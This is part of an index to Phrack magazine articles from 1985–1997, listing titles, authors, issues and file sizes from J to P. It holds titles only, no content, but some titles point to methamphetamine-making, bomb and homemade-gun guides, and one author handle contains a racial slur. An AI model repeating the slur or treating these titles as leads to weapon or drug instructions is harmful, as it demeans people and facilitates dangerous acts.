ISDN (INTEGRATED SERVICES DIGITAL NETWORK)

"The Integrated Services Digital Network" by Dr. Doom. 1986. I8 F4 18k "Universal Informational Services via ISDN" by Taran King. 1985. I2 F6 6K

** J **

Jack T. Tabb authored

"VAX/VMS Fake Mail". 1989. I30 F7 7k

Jester Sluggo authored

"Automatic Teller Machine Cards" 1990. I32 F6 16k "Centrex Renaissance" 1986. I4 F7 17k

"The Tele‑Pages" 1988. I21 F4 37k

"Unix System Security Issues" 1988. I18 F7 27k "Wide Area Networks Part 1" 1986. I5 F7 10k

"Wide Area Networks Part 2" 1986. I6 F8 10k

J.R. "Bob" Dobbs authored

"A REAL Functioning RED BOX Schematic" 1991. I33 F9 12k Jim Schmickley authored

"Blocking of Long Distance Calls" 1988. I21 F8 26k "Blocking of Long Distance Calls... Revisited" 1989. I29 F9 22k "The Judas Contract (Part 2 of The Vicious Circle Trilogy)" by Knight Lightning. 1988. I22 F3 26k

"Juggernaut"(linux tool) by route. 1997. I50 F6 123k

** K **

"Key Trap v1.0 Keyboard Key Logger" by Dcypher. 1994. I46 F26 35k "Keytrap Revisisted" by Sendai. 1996. I48 F12 13k

Killer Smurf authored

"Making Free Local Payfone Calls" 1987. I15 F3 7k

King Arthur authored

"COSMOS: COmputer System for Mainframe OperationS (Part One)" 1989. I26 F5

"COSMOS: COmputer System for Mainframe OperationS (Part Two)" 1989. I27 F5

Knight Lightning authored

"DMS‑100" 1986. I5 F5 8k

"Foundations on The Horizon; Chapter Two of FTSaga" 1989. I23 F5 27k "Frontiers; Chapter Four of FTSaga" 1989. I24 F4 25k Introduction/Index for I14 F1

Introduction/Index (co‑authored) for I20‑30,33 F1 "Introduction to The Internet Protocols II: Chapter Eight of The FTS" 1989. I28 F3 39k

"Introduction to The Internet Protocols II: Chapter Nine of The FTS" 1989. I29 F3 43k

"Introduction to MIDNET: Chapter Seven of The FTS" by Knight Lightning. 1989. I27 F3 35k

"Introduction to PBX's" 1986. I3 F9 7k "Introduction to Videoconferencing" 1986. I9 F8 11k "The Judas Contract (Part 2 of The Vicious Circle Trilogy)" 1988. I22 F3 26k

"Limbo to Infinity; Chapter Three of FTSaga" 1989. I24 F3 18k "MCI International Cards" 1985. I1 F5 3k

"MCI Overview" 1985. I2 F7 15k

"NSFnet: National Science Foundation Network" 1989. I26 F4 10k "Phrack Pro‑Phile on Groups" 1986. I6 F2 14k "Phrack Pro‑Phile on Karl Marx" (co‑authored) 1988. I22 F2 9k "Phrack World News" 1985‑90. I2 F9 I3 F10 I4 F9‑11 I5 F10‑12 I6 F9‑13 I7 F8‑10 I8 F8‑9 I9 F10 I10 F8‑9 I11 F11‑12 I12 F10‑11 I13 F10 I14 F8‑9 I15 F6‑7 (19,21k) I19 F7 I20 F12 I23 F11‑12 I24 F11‑13 I25 F9 19k‑11 I26 F9‑11 I27 F10‑12 I28 F9‑12 I29 F10‑12 I30 F11‑12 "Phrack World News" (co‑authored) I21 F10‑11 I22 F9‑12 "Phrack World News Special Edition II" 1988. I21 F9 78k "Phrack World News Special Edition III (SummerCon '89)" 1989. I28 F8 31k "Shadows of a Future Past (Part 1 of The Vicious Circle Trilogy)" 1988. I21 F3

"SPAN: Space Physics Analysis Network" 1989. I25 F4 47k "Standing up to Fight The Bells" 1992. I38 F10 27k "Subdivisions (Part 3 of The Vicious Circle Trilogy)" 1989. I23 F3 17k "A Trip to The NCSC" 1990. I32 F7 16k

"Utopia; Chapter One of FTSaga" 1989. I23 F4 20k co‑authored

"25th Anniversary Index" 1989. I25 F2 15k

"Network Management Center" 1988. I21 F6 13k

"Real Phreaker's Guide Vol. 2" 1987. I13 F2 5k "Welcome to Metal Shop Private" 1988. I20 F4 37k

"Knight Line I/Parts 1‑3" by Doc Holiday. 1990. I32 F10 47k‑12

The Kurgan authored

"Hacking GTN" 1987. I16 F4 7k

** L **

"LATA Reference List" by Infinite Loop 1991 I33 F5 11k

Larry Kollar authored

"Intro to Packet Radio" 1993. I44 F9 16k

Laughing Gas co‑authored

"Advanced Modem‑Oriented BBS Security" 1991 I34 F9 11k

The Leftist authored

"Bolt Bombs" 1986. I5 F6 3k

"Fun With Lighters" 1986. I6 F4 2k

"Simple Data Encryption or Digital Electronics 101" 1987. I11 F5 4k "The Tried and True Home Production Method for Methamphetamine" by The Leftist. 1986. I4 F8 7k

"Legal Info" by Szechuan Death. 1994. I46 F9 13k

Legion of Doom! (group)

authored

"How We Got Rich Through Electronic Fund Transfer" 1989. I29 F7 11k "LODCOM BBS Archive Info" 1993. I43 F18 24k "LODCOM Sample Messages" 1993. I43 F19 52k

"LOD Communications BBS Archive Information" 1993. I44 F22 29k co‑authored

"Legion of Doom and The Occult" 1991 I36 F6 24k compiled

"Bank Information" 1989. I29 F6 12k

"Legion of Doom and The Occult" by LOD and Demon Seed Elite. 1991 I36 F6 24k Leroy Donnelly authored

"Air Fone Frequencies" 1992. I39 F8 14k

Lex Luthor authored

"How To Hack Blackjack Part I" 1993. I43 F9 52k "How To Hack Blackjack Part II" 1993. I43 F10 50k

Lex Luthor was Pro‑Philed in 1992. I40 F3 36k

"Lifting Ma Bell's Cloak of Secrecy" by VaxCat. 1989. I24 F9 25k "Limbo to Infinity; Chapter Three of FTSaga" by Knight Lightning. 1989. I24 F3 18k

"Line Noise Part I" by Phrack Staff. 1993. I43 F4 39k

"Line Noise Part II" by Phrack Staff. 1993. I43 F5 43k

"Line Noise Part I" by Phrack Staff. 1993. I44 F3 51k

"Line Noise Part II" by Phrack Staff. 1993. I44 F4 35k

"Line Noise Part I" by Phrack Staff. 1994. I45 F4 49k

"Line Noise Part II" by Phrack Staff. 1994. I45 F5 50k

"Line Noise Part III" by Phrack Staff. 1994. I45 F6 59k

"Line Noise Part I" by Phrack Staff. 1994. I46 F3 61k

"Line Noise Part II" by Phrack Staff. 1994. I46 F4 56k

"Line Noise Part I" by Phrack Staff. 1995. I47 F2 52k

"Line Noise Part II" by Phrack Staff. 1995. I47 F3 59k

"Line Noise Part I" by Phrack Staff. 1996. I48 F3 63k

"Line Noise Part II" by Phrack Staff. 1996. I48 F4 51k

"Line Noise" by Phrack Staff. 1996. I49 F3 65k

"Line Noise" by Various Sources. 1997. I50 F3 72k

"Linux TTY hijacking" by Halflife. 1997. I50 F5 15k

"A Little About Dialcom" by Herd Beast. 1994. I46 F14 29k

LOCK PICKING

"How to Pick Master Locks" by Gin Fizz and Ninja NYC. 1985. I1 F6 2k

"LODCOM BBS Archive Info" by LOD. 1993. I43 F18 24k

"LOD Communications BBS Archive Information" by LOD. 1993. I44 F22 29k "LODCOM Sample Messages" by LOD. 1993. I43 F19 52k

LONG DISTANCE CARRIERS

"Dun & Bradstreet Report on AT&T" submitted by Elric of Imrryr. 1988. I17 F2 24k

"Dun & Bradstreet Report on Pacific Telesis" submitted by Elric of Imrryr. 1988. I17 F3 26k

"Lifting Ma Bell's Cloak of Secrecy" by VaxCat. 1989. I24 F9 25k "MCI International Cards" by Knight Lightning. 1985. I1 F5 3k "MCI Overview" by Knight Lightning. 1985. I2 F7 15k

"OTher Common Carriers; A List" by Equal Axis. 1989. I28 F7 8k "Profile of MAX Long Distance Service" by Phantom Phreaker. 1986. I4 F4 4k "The TMC Primer" by Cap'n Crax. 1987. I10 F3 6k

"Looking Around in DECnet" by Deep Thought. 1989. I27 F6 14k

"Loop Maintenance Operating System" by Control C. 1988. I18 F8 32k "Loop Maintenance Operations System" by Phantom Phreaker and Doom Prophet. 1986. I9 F9 17k

Lord Digital co‑authored

"*ELITE* Access" 1991. I36 F5 43k

"Phrack Pro‑Phile on Lord Digital" 1992. I42 F3 22k

Lord Digital was Pro‑Philed in 1992. I42 F3 22k

Lotus co‑authored

"CompuServe Info" 1986. I8 F6 8k

** M **

The Mad Phone‑Man authored

"BELLCORE Information" 1987. I16 F2 11k

"Flight of The Mad Phone‑Man" (PWN) 1987. I16 F10 2k "The Mad Phone‑Man and The Gestapo" (PWN) 1987. I16 F9 2k Mad Hacker 616 authored

"The Art of Junction Box Modeming" I8 F5 6k

Madjus (N.O.D.) authored

"Cellular Info" 1993. I43 F17 47k

Magic Hasan authored

"Primos: Primenet, RJE, DPTX" 1988. I18 F4 15k

"Making Free Local Payfone Calls" by Killer Smurf. 1987. I15 F3 7k "The Making of a Hacker" by Framstag. 1989. I27 F7 9k

"Making Shell Bombs" by Man‑Tooth. 1986. I3 F3 3k

"Mall Cop Frequencies" by Caligula XXI. 1992. I41 F10 11k

Maldoror authored

"The Universal Data Convertor" 1994. I45 F21 45k co‑authored

"Gettin' Down 'N Dirty Wit Da GS/1" 1994. I46 25k Man‑Tooth authored

"Homemade Guns" 1985. I2 F3 7k

"Making Shell Bombs" 1986. I3 F3 3k

Manny E. Farber authored

"10th Chaos Computer Congress" 1994. I45 F13 23k Mastermind authored

"SS7 Diverter plans" 1997. I50 F9 27k

Max Nomad authored

"Prack World News Special Report VI on CFP‑2" 1992. I38 F12 18k "MCI International Cards" by Knight Lightning. 1985. I1 F5 3k

"MCI Overview" by Knight Lightning. 1985. I2 F7 15k

"The MCX7700 PABX System" by Dr. Delam. 1994. I45 F25 22k

Men From Mongo authored

"Real Cyberpunks" 1991 I36 F9 13k

The Mentor authored

"The Conscience of a Hacker {Reprint}" by The Mentor. 1987. I14 F3 4k "Crashing DEC‑10's" 1986. I4 F6 5k

"DCL Utilities for VMS Hackers" 1988. I19 F2 23k "Fun With Automatic Tellers" by The Mentor. 1986. I8 F7 7k "Hacker's Manifesto" 1986. I7 F3 4k

"Multi‑User Chat Program for DEC‑10's" (co‑authored) 1986. I9 F7 7k "A Novice's Guide to Hacking (1989. Edition)" 1988. I22 F4 42k "Metal/General Disussion [from Metal Shop Private BBS]" 1988. I20 F5 66k Mind Mage co‑authored

"Phrack Loopback" 1992. I40 F2 50k

"Phrack Loopback" 1992. I41 F2 52k

Minor Threat was Pro‑Philed in 1994. I46 F5 12k

"Mobile Tele Communications" by Phantom Phreaker. 1986. I5 F9 11k "MOD Family Portrait" <unencoded .gif> 1993. I44 F24 35k

"The Moeller Papers" by Professor Moeller. 1993. I44 F10 30k

Monty Python authored

"Rolm Systems" 1985. I3 F2 11k

"More Stupid Unix Tricks" by Shooting Shark. 1987. I15 F2 10k Morgoth co‑authored

"CompuServe Info" 1986. I8 F6 8k

"Motorola Command Mode Information" by Cherokee. 1996. I48 F6 38k mrnobody authored

"DCO Operating System" 1997. I50 F14 16k

"DTMF signalling and decoding" by Mr. Blue. 1997. I50 F13 17k Mudge was Pro‑Philed in 1996. I49 F4 8k

"Multi‑User Chat Program for DEC‑10's" by TTY‑Man and The Mentor. 1986. I9 F7 7k

"My Bust Part I" by Robert Clark. 1993. I43 F12 56k

"My Bust Part II" by Robert Clark. 1993. I43 F13 55k

Mycroft authored

"Wide Area Information Services" 1992. I38 F8 11k

"The Myth and Reality About Eavesdropping" by Phone Phanatic. 1989. I29 F8 17k

** N **

"Nasty Unix Tricks" by Shooting Shark. 1986. I6 F5 4k

"Netmon" by daemon9. 1996. I48 F15 21k

Netta Gilboa authored

"HoHoCon" 1995. I47. F10 30k

"Network Management Center" by Knight Lightning and Taran King. 1988. I21 F6 13k "Network Miscellany" by Racketeer. 1992. I40 F4 32k

"Network Miscellany" by Racketeer. 1992. I41 F4 35k

"Network Miscellany" by Taran King. 1989. I28 F4 30k

"Network Miscellany II" by Taran King. 1989. I29 F4 35k

"Network Miscellany III" by Taran King. 1989. I30 F2 21k

"Network Miscellany IV" by Datastream Cowboy. 1992. I38 F5 30k "Network Miscellany V" by Datastream Cowboy. 1992. I39 F4 34k "Network Progression" by Dedicated Link. 1989. I24 F10 5k

"The New Editors<daemon9, ReDragon, Voyager> were Pro‑Philed in 1996. I48 F5 23k "New Users [from Metal Shop Private BBS]" 1988. I20 F9 17k

Night Ranger authored

"Hacking Voice Mail Systems" 1991. I34 F5 19k

The Nightstalker authored

"Phrack Editorial on Microbashing" 1988. I19 F6 6k

Nihil authored

"Cracking NT Passwords" 1997. I50 F8 17k

Ninja Master authored

"Phreaking in Germany" 1991. I33 F7 28k

Ninja NYC co‑authored

"How to Pick Master Locks" 1985. I1 F6 2k "Nitrogen‑Trioxide Explosive" by Signal Substain. 1988. I17 F4 7k NOD authored

"Users Guide to XRAY" 1992. I42 F6 11k

The Noid authored

"The Blue Box and Ma Bell" 1989. I25 F7 19k

"Non‑Published Numbers" by Patrick Townsend. 1988. I21 F7 8k "NorThern Telecom's FMT‑150B/C/D" by FyberLyte. 1993. I44 F13 16k "NorThern Telecom's SL‑1" by Iceman. 1993. I44 F19 30k

The Not authored

"TCP/IP: A Tutorial Part 1 of 2" 1991. I33 F8 28k "TCP/IP: A Tutorial Part 2 of 2" 1991. I34 F8 39k

"No Time for Goodbyes" by Emmanuel Goldstein. 1994. I45 F9 21k

NOVELL NETWORKS

"Help for Verifying Novell Security" by Phrack Staff. 1993. I43 F11 48k

"A Novice's Guide to Hacking (1989. Edition)" by The Mentor. 1988. I22 F4 42k "NSFnet: National Science Foundation Network" by Knight Lightning. 1989. I26 F4

"NUA List for Datex‑P and X.25 Networks" by Oberdaemon. 1989. I27 F4 105k

** O **

Oberdaemon authored

"NUA List for Datex‑P and X.25 Networks" 1989. I27 F4 105k The Omega co‑authored

"Exploring Information‑America" 1992. I37 F4 51k "Quentin Strikes Again" 1994. I45 F12 28k

"The Open Barn Door" by Douglas Walter(Newsweek). 1992. I39 F9 11k "Operating The VM/SP CP" by Taran King. 1989. I27 F2 38k

Opticon authored

"An Introduction to The DecServer 200" 1993. I44 F22 16k Optik Nerve authored

"Introduction to Octel's ASPEN" 1994. I45 F23 12k

Oryan Quest authored

"Fun With The Centagram VMS Network" 1986. I9 F3 4k

"OTher Common Carriers; A List" by Equal Axis. 1989. I28 F7 8k Overlord authored

"Private Audience" 1986. I3 F5 13k

"An Overview of Pre‑Paid Calling Cards" by Treason. 1995. I47 29k

** P **

"Packet Switched Network Security" by Chris Goggans. 1992. I42 F4 22k "PACT: Prefix Access Code Translator" by The Executioner. 1987. I11 F3 8k

PAGERS

"The Wonderful World of Pagers" by Erik Bloodaxe. 1994. I46 F8 "The Glenayre GL3000 Paging and Voice retrieval System" by Armitage. 1995. I47 F14 25k

"Paid Advertisement"(unencoded game) by R.E.M. 1994. I46 F6 62k "Paid Advertisement Part ][" (unencoded game) by R.E.M. 1994. I46 F7 45k Pain Hertz authored

"Inside The SYSUAF.DAT File" 1990. I32 F8 16k "Phrack Pro‑Phile of Markus Hess" 1990. I31 F2 6k Parmaster authored

"Introduction to the FedLine software system" 1996. I49 F12 19k

PARODY'S

"In Living Computer Starring Knight Lightning" 1991 I36 F3 10k "The History ah MOD" by Wing Ding. 1991 I36 F4 23k

Patrick Townsend authored

"Non‑Published Numbers" 1988. I21 F7 8k

Paul Saffo authored

"Consensual Realities in Cyberspace". 1989. I30 F8 11k

PBXs

"AIS ‑ Automatic Intercept System" by Taran King. 1987. I11 F6 16k "Hacking Rolm's CBXII" by Doc Holiday. 1990. I31 F3 15k "Introduction to Octel's ASPEN" by Optik Nerve. 1994. I45 F23 12k "Introduction to PBX's" by Knight Lightning. 1986. I3 F9 7k "The MCX7700 PABX System" by Dr. Delam. 1994. I45 F25 22k "Physical Access and Theft of PBX Systems" by Co/Dec. 1993. I43 F15 28k "SAM Security" by Spitfire Hacker. 1985. I1 F2 2k

pbxFreak authored

"Skytel Paging and Voicemail" 1997. I50 F10 36k

"PC Application Level Security" by Sideshow Bob. 1997. I50 F12 21k Phantom Phreaker authored

"Busy Line Verification" 1987. I11 F10 10k

"Busy Line Verification Part II" 1987. I12 F8 9k "Facility Assignment & Control Systems" 1988. I19 F5 11k "Fortell Systems" 1986. I3 F6 3k

"Mobile Telephone Communications" 1986. I5 F9 11k "Profile of MAX Long Distance Service" 1986. I4 F4 4k "School/College Computer Dial‑Ups" 1985. I1 F8 4k co‑authored

"Automatic Number Identification" (co‑authored) 1987. I10 F7 9k "Loop Maintenance Operations System" (co‑authored) 1986. I9 F9 17k "Phone Bugging: Telecom's Underground Industry" by Split Decision. 1989. I26 F7

Phone Phanatic authored

"The Myth and The Reality About Eavesdropping" 1989. I29 F8 17k "Western Union Telex, TWX, and Time Service" 1989. I30 F10 13k

Phrack Accident authored

"Playing Hide and Seek, Unix Style" 1993. I43 F14 31k "Phrack Classic Spotlight featuring Knight Lightning" by Crimson Death. 1990. I32 F2

"Phrack Editorial on Microbashing" by The Nightstalker. 1988. I19 F6 6k Phrack Inc. authored

"Internet Domains: FTSaga Appendix 3 (Limbo to Infinity)" 1989. I26 F8 20k

"Phrack Inc./Gossip [from Metal Shop Private BBS]" 1988. I20 F6 56k "Phrack Loopback" by Phrack Staff. 1991. I34 F2 14k

"Phrack Loopback" by Phrack Staff. 1991. I35 F2 34k

"Phrack Loopback" by Phrack Staff. 1992. I37 F2 15k

"Phrack Loopback" by Phrack Staff. 1992. I38 F2 12k

"Phrack Loopback" by Phrack Staff. 1992. I39 F2 24k

"Phrack Loopback" by Dispater & Mind Mage. 1992. I40 F2 50k "Phrack Loopback" by Dispater & Mind Mage. 1992. I41 F2 52k "Phrack Loopback" by Phrack Staff. 1992. I42 F2 48k

"Phrack Loopback Part I" by Phrack Staff. 1993. I43 F2 38k

"Phrack Loopback Part II" by Phrack Staff. 1993. I43 F3 44k "Phrack Loopback/Editorial" by Phrack Staff. 1993. I44 F2 57k "Phrack Loopback Part I" by Phrack Staff. 1994. I45 F2 31k

"Phrack Loopback Part II" by Phrack Staff. 1994. I45 F3 40k "Phrack Loopback/Editorial" by Phrack Staff. 1994. I46 F2 52k "Phrack Loopback/Editorial" by Phrack Staff. 1995. I47 F2 52k "Phrack Loopback/Editorial" by Phrack Staff. 1996. I48 F2 55k "Phrack Loopback/Editorial" by Phrack Staff. 1996. I49 F2 6k "Phrack Loopback/Editorial" by Phrack Staff. 1997. I50 F2 60k Phrack Staff authored

"extract.c" 1997. I50 F16 2k

"Diet Phrack Loopback" 1991 I36 F2 14k

"Line Noise Part I" 1993. I43 F4 39k

"Line Noise Part II" 1993. I43 F5 43k

"Line Noise Part I" 1993. I44 F3 51k

"Line Noise Part II" 1993. I44 F4 35k

"Line Noise Part I" 1994. I45 F4 49k

"Line Noise Part II" 1994. I45 F5 50k

"Line Noise Part III" 1994. I45 F6 59k

"Line Noise Part I" 1994. I46 F3 61k

"Line Noise Part II" 1994. I46 F4 56k

"Line Noise Part I" 1994. I47 F2 59k

"Line Noise Part II" 1994. I47 F3 65k

"Line Noise Part I" 1996. I48 F3 63k

"Line Noise Part II" 1996. I48 F4 51k

"Line Noise" 1996. I49 F3 65k

"Phrack Loopback" 1991. I34 F2 14k

"Phrack Loopback" 1991. I35 F2 34k

"Phrack Loopback" 1992. I37 F2 15k

"Phrack Loopback" 1992. I38 F2 12k

"Phrack Loopback" 1992. I39 F2 24k

"Phrack Loopback" 1992. I42 F2 48k

"Phrack Loopback Part I" 1993. I43 F2 38k

"Phrack Loopback Part II" 1993. I43 F3 44k

"Phrack Loopback/Editorial" 1993. I44 F2 57k "Phrack Loopback Part I" 1994. I45 F2 31k

"Phrack Loopback Part II" 1994. I45 F3 40k

"Phrack Loopback/Editorial" 1994. I46 F2 52k "Phrack Loopback/Editorial" 1995. I47 F2 52k "Phrack Loopback/Editorial" 1996. I48 F2 55k "Phrack Loopback/Editorial" 1996. I49 F2 6k "Phrack Loopback/Editorial" 1997. I50 F2 60k "Phrack Pro‑Phile on Aleph1" 1997. I50 F4 7k "Phrack Pro‑Phile on Docter Who" 1993. I43 F6 15k "Phrack Pro‑Phile on Mudge" 1996. I49 F4 8k "Phrack Pro‑Phile on The New Editors"<daemon9,ReDragon,Voyager> 1996. I48 F5 23k

"The Phrack University Dialup List" 1994. I46 F13 12k "Help for Verifying Novell Security" 1993. I43 F11 48k "Phrack Pro‑Phile [of/on/Featuring]

Agrajag The Prolonged" by Taran King. 1987. I12 F2 7k Aleph1" by Phrack Staff. 1997. I50 F4 7k

Aristotle" by Dispater. 1992 I38 F3 6k

Ax Murderer" by Crimson Death. 1988. I18 F2 4k

Broadway Hacker" by Taran King. 1986. I5 F2 5k

Chanda Lier" by Taran King. 1989. I24 F2 6k

Chris Goggans" by S. Leonardo Spitz. 1991. I35 F3 20k Crimson Death" by Taran King. 1986. I4 F1

Computer Cop" by The Grimace. 1993. I44 F5 22k

Control C" by Phrack Staff. 1994. I45 F7 22k

daemon9" by Phrack Staff. 1996. I48 F5 23k

Dave Starr" by Taran King. 1987. I10 F2 8k

Disk Jockey" by The Disk Jockey and & Dispater. 1991 I34 F3 23k Docter Who" by Phrack Staff. 1993 I43 F6 15k

Emmanuel Goldstein" by Taran King. 1989. I29 F2 16k

Erik Bloodaxe" by Taran King. 1989. I28 F2 15k

Groups" by Knight Lightning. 1986. I6 F2 14k

Karl Marx" by Taran King and Knight Lightning. 1988. I22 F2 9k Lex Luthor" by Taran King. 1992. I40 F3 36k

Lord Digital" by Lord Digital. 1992 I42 F3 22k

Markus Hess" by Pain Hertz. 1990. I31 F2 6k

The Mentor" by Taran King. 1989. I23 F2 7k

Minor Threat" by Phrack Staff. 1994. I46 F5 12k

Modem Master" by Taran King. 1988. I21 F2 6k

Mudge" by Phrack Staff. 1996. I49 F4 8k

The Nightstalker" by Taran King. 1986. I9 F2 6k

ReDragon" by Phrack Staff. 1996. I48 F5 23k

Scan Man"" by Taran King. 1986. I7 F2 7k

Shadow Hawk 1" by Dispater. 1992 I39 F3 8k

Shooting Shark" by Crimson Death. 1991. I33 F2 16k Supernigger" by Supernigger. 1992. I41 F3 10k

Taran King" by Taran King. 1988. I20 F2 14k

Terminus" by Taran King. 1987. I14 F2 7k

Tuc" by Taran King. 1986. I8 F2 6k

Wizard of Arpanet" by Taran King. 1987. I11 F2 7k

Voyager" by Phrack Staff. 1996. I48 F5 23k

"The Phrack University Dialup List" by Phrack Staff. 1994. I46 F13 12k "Phrack World News" by alhambra. 1997. I50 F15 110k

"Phrack World News" by Crimson Death. 1991 I33 F11 18k

"Phrack World News" Parts 1‑3 by Datastream Cowboy. 1992. I38 F13‑15 34,32,33k "Phrack World News" Parts 1‑4 by Datastream Cowboy. 1992. I39 F10‑13 30,27,29,29k "Phrack World News" Parts 1‑3 by Datastream Cowboy. 1992. I40 F12‑14 50,48,48k "Phrack World News" Parts 1‑3 by Datastream Cowboy. 1992. I41 F11‑13 46,49,43k "Phrack World News" by Datastream Cowboy. 1992. I42 F14 29k "Phrack World News" by Datastream Cowboy. 1993. I43 F27 24k "Phrack World News" by Datastream Cowboy. 1993. I44 F27 22k "Phrack World News" by Datastream Cowboy. 1994. I45 F28 17k "Phrack World News" by Datastream Cowboy. 1994. I46 F28 38k "Phrack World News" by Datastream Cowboy. 1995. I47 F22 38k "Phrack World News" by Datastream Cowboy. 1996. I48 F18 21k "Phrack World News" by Disorder. 1996. I49 F16 109k

"Phrack World News" by Dispater. 1991. I33(F12,13 28/25k) I34 (F10/11 14/19k) I35(F10‑13 27/31/34/27k)

co‑authored

"Phrack World News" Part 1‑4 1992 I37 F11‑14 31,30,29,31k "Phrack World News" by Epsilon. 1988. I18 F10‑11 I19 F8 6k "Phrack World News" by Knight Lightning. 1985‑90. I2 F9 I3 F10 I4 F9‑11 I5 F10‑12 I6 F9‑13 I7 F8‑10 I8 F8‑9 I9 F10 I10 F8‑9 I11 F11‑12 I12 F10‑11 I13 F10 I14 F8‑9 I15 F6‑7 I19 F7 I20 F12 I23 F11‑12 I24 F11‑13 I25 F9 19k‑11 I26 F9‑11 I27 F10‑12

I28 F9‑12 I29 F10‑12 I30 F11‑12

"Phrack World News" by Knight Lightning and Epsilon. 1988. I21 F10 22k‑11 "Phrack World News" by Knight Lightning and Taran King. 1988. I22 F9 25k‑12 "Phrack World News" by The Mad Phone‑Man. 1987. I16 F9‑10

"Phrack World News" by Phreak_Accident. 1990. I31 F8‑10 (13,17,40k) "Phrack World News" by Shooting Shark. 1987. I16 F11 2k

"Phrack World News" by Sir Francis Drake. 1987‑88. I15 F8 I17 F10 "Phrack World News" by The $muggler. 1987‑88. I16 F12, I17 F11 "Phrack World News" by The Sorceress. 1988. I17 F12 8k

"Phrack World News Special Edition #1" by Knight Lightning. 1987. I14 F7 32k "Phrack World News Special Edition II" by Knight Lightning. 1988. I21 F9 78k "Phrack World News Special Edition III (SummerCon '89)" by Knight Lightning. 1989. I28 F8 31k

"Phrack World News Special Edition IV" <CyberView '91) by Bruce Sterling 1991. I33 F10 28k

"Phrack World News Special Report VI on WeenieFest'92" by Count Zero 1992. I37 F10 14k

"Phrack World News Special Report VI on CFP‑2" by Max Nomad. 1992. I38 F12 18k Phreak_Accident authored

"Phrack World News" 1990. I31 F8‑10 (13,17,40k) "TAMS & Telenet Security" 1990. I31 F4 7k "Phreak/Hack Sub [from Metal Shop Private BBS]" 1988. I20 F7 46k

PHREAKING

(See also CELLULAR, COSMOS, ISDN, LONG DISTANCE CARRIERS, TELEPHONE SWITCHING, PBX)

"The AT&T Mail Gateway" by Robert Alien. 1991. I34 F4 5k "The Art of Junction Box Modeming" by Mad Hacker 616. I8 F5 6k "Automatic Number Identification" by Phantom Phreaker and Doom Prophet. I10 F7 9k

"Blocking of Long Distance Calls" by Jim Schmickley. 1988. I21 F8 26k "Blocking of Long Distance Calls... Revisited" by Jim Schmickley. 1989. I29 F9

"The Blue Box and Ma Bell" by The Noid. 1989. I25 F7 19k "Box.exe for SoundBlasters"<unencoded> by The Fixer. 1994. I45 F22 13k "Busy Line Verification" by Phantom Phreaker. 1987. I11 F10 10k "Busy Line Verification Part II" by Phantom Phreaker. 1987. I12 F8 9k "Can You Find Out If Your Telephone Is Tapped?" by Fred P. Graham and VaxCat. 1989. I23 F9 20k

"Centrex Renaissance `The Regulations'" by Jester Sluggo. 1986. I4 F7 17k "Circuit Switched Digital Capability" by The Executioner. 1987. I10 F5 12k "City‑Wide Centrex" by The Executioner. 1986. I8 F3 14k "Computer‑Based Systems for Bell System Operation" by Taran King. 1989. I26 F2

"Control Office Administration of Enhanced 911 Service" by The Eavesdropper. 1989. I24 F5 22k

"DCO Operating System" by mrnobody. 1997. I50 F14 16k

"DTMF signalling and decoding" by Mr. Blue. 1997. I50 F13 17k "The Craft Acces Terminal" by Boss Hogg. 1996. I48 F8 36k "Electronic Telephone Cards(Part 1)" by Stephane Bausson. 1996. I48 F10 39k "Electronic Telephone Cards(Part 2)" by Stephane Bausson. 1996. I48 F11 66k "The Fine Art of Telephony" by Crimson Flash. 1992 I40 F7 65k "The Fone Phreak's Revenge" by Iron Soldier. 1985. I1 F4 4k "Fortell Systems" by Phantom Phreaker. 1986. I3 F6 3k "Glossary Terminology for Enhanced 911 Service" by The Eavesdropper. 1989. I24 F6

"Guide to 5ESS" by Firm G.R.A.S.P.. 1993. I43 F17 63k

"A Guide to British Telecom's Caller ID Service" by Dr. BOB 1995. I47 F19 31k

"How to Build a Paisley Box" by Thomas Covenant and Double Helix. 1987. I13 F4 5k

"Information About NT's FMT‑150/B/C/D" by Static. 1996. I48 F9 22k "Introdcution to Telephony and PBX Systems" by Cavalier. 1996. I49 F5 100k "International Toll Free Code list" by The Trunk Terminator 1991 I33 F6 15k "LATA Reference List" by Infinite Loop 1991 I33 F5 11k

"Loop Maintenance Operating System" by Control C. 1988. I18 F8 32k "Loop Maintenance Operations System" by Phantom Phreaker and Doom Prophet. 1986. I9 F9 17k

"Making Free Local Payfone Calls" by Killer Smurf. 1987. I15 F3 7k "Mall Cop Frequencies" by Caligula XXI. 1992. I41 F10 11k "An Overview of Pre‑Paid Calling Cards" by Treason. 1995. I47 29k "SS7 Diverter plans" by Mastermind. 1997. I50 F9 27k

"South Western Bell Lineman Word Codes" by Icon. 1997. I49 F11 18k "NorThern Telecom's FMT‑150B/C/D" by FyberLyte. 1993 I44 F13 16k "Telenet/Sprintnet's PC Pursuit Outdial Directory" by Amadeus. 1991 I35 F4 90k

"Telephone Company Customer Applications" by Voyager. 1996. I49 F13 38k "The Myth and The Reality About Eavesdropping" by Phone Phanatic. 1989. I29 F8

"PACT: Prefix Access Code Translator" by The Executioner. 1987. I11 F3 8k "Phreaking in Germany" by Ninja Master 1991 I33 F7 28k "Prevention of The Billing Office Blues" by Forest Ranger. 1985. I2 F2 1k "A Real Functioning PEARL BOX Schematic" by Dispater. 1989. I28 F5 5k "A Real Functioning RED BOX Schematic" by J.R. "Bob" Dobbs. 1991. I33 F9 12k "Real Phreaker's Guide Vol. 2" by Taran King and Knight Lightning. 1987. I13 F2 5k

"The Reality of The Myth [REMOBS]" by Taran King. 1987. I14 F4 6k "Special Area Codes" by >Unknown User<. 1989. I24 F8 27k "Special Area Codes II" 1992. by Bill Huttig I39 F7 17k

"The Total Network Data System" by Doom Prophet. 1987. I12 F5 13k

"Phreaking in Germany" by Ninja Master 1991 I33 F8 7k

"Phreaks in Verse" by Sir Francis Drake. 1987. I13 F5 3k

"Phreaks in Verse II" by Homey The Hacker 1991. I36 F8 14k Professor Falken authored

"Tymnet Diagnostic Tools" 1992. I42 F5 35k

Phrozen Ghost authored

"Hacking CDC's Cyber" 1988. I18 F5 12k

"Physical Access and Theft of PBX Systems" by Co/Dec. 1993. I43 F15 28k

PIRATING see WAREZ

"Pirate's Cove" by Rambone. 1992. I37 F3 8k

"Pirate's Cove" by Rambone. 1992. I38 F3 23k

"Pirate's Cove" by Rambone. 1992. I40 F5 57k

"Pirate's Cove" by Rambone. 1992. I41 F5 32k

